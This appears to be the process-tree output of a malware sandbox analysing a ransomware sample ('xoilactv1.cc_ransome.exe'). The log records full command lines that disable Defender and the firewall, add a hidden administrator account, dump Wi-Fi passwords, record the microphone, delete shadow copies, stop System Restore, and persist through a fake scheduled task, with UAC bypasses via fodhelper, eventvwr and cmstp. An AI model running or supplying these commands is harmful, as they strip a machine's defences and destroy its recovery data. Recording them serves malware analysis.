        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8528
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:8596
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:9076
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:3420
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:9432
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:10780
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144921574416.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14700
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:14088
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:15296
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:15420
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:17360
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:8432
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:13832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6392
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:6728
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:8104
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:7896
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:7584
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:4968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144770241762.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10232
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12464
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:3880
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:13400
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:4800
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:16328
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:14372
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:13964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6416
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:2596
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:2808
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:6196
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:7768
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8328
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144741688245.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11284
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:13148
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:7208
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:14032
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:15632
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:14912
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:16928
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1556
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:2752
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:4768
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:2616
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6604
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:7272
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9852
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144632334575.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10104
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:10260
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:11380
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:12068
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:7924
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:4240
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:15316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:4008
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:3044
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:852
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:1344
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:852
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:7248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144660499755.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:11152
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:11100
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11552
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:12184
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:12096
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:15060
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:6620
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:15628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4336
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:2904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4660
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:1076
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:2908
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:6744
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:10552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144660812957.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10688
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:11372
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:12124
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:10672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:364
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:5096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:15892

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:1792
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5740
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\67ff1b59-743e-4f42-9024-5e8a629c7c61.inf
  2⤵
  PID:3124
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:4644
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:4620
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:5560
- - C:\Users\Admin\AppData\Local\tcpmon.exe
    "C:\Users\Admin\AppData\Local\tcpmon.exe"
    3⤵
    PID:1392
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6068
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e30c1a49-7c4e-4fd1-ae04-b542a3552c4b.inf
      4⤵
      PID:5980
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:2748
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:5024
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:3520
    - - C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        5⤵
        
        PID:4100
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7132
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\73de3fed-4011-4984-a21f-814a8ccbf1cc.inf
        6⤵
        
        PID:2876
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:6832
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:6964
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:6232
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        7⤵
        
        PID:6804
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7376
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b0cde086-41c8-4aa8-a69f-a075b0733b32.inf
        8⤵
        
        PID:6848
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:5328
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7808
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:2612
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        9⤵
        
        PID:7236
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9160
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3cf4c2e9-bdf3-4a18-b424-d20ec5e12b88.inf
        10⤵
        
        PID:5172
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7256
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:1672
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:8108
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        11⤵
        
        PID:8416
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10228
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d473786c-8e93-407a-ad22-94cc2cda7e90.inf
        12⤵
        
        PID:8624
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:7260
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:9628
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:8668
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        13⤵
        
        PID:4640
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11044
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\09752342-7a36-4a74-b989-b86be0242e2c.inf
        14⤵
        
        PID:12692
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:13240
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:3472
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:2668
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        15⤵
        
        PID:9672
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13260
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3130c368-c664-47de-8238-095658e4bbc2.inf
        16⤵
        
        PID:2260
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:9140
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:12724
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:9692
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        17⤵
        
        PID:16432
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13872
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\81a4f630-82da-46dd-ab7d-8bfec822e35d.inf
        18⤵
        
        PID:11828
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:12428
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:17168
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:15148
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        19⤵
        
        PID:14176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:17164
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:11384
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:11336
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:16656
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:3816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9056
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:16936
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:11064
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:14732
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:7736
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:4692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289145668831473.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7588
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9456
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:13536
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:14608
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:14188
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:1988
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:7524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289145358163530.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13236
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:400
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:15828
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:13136
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:11588
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:13652
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:10228
        
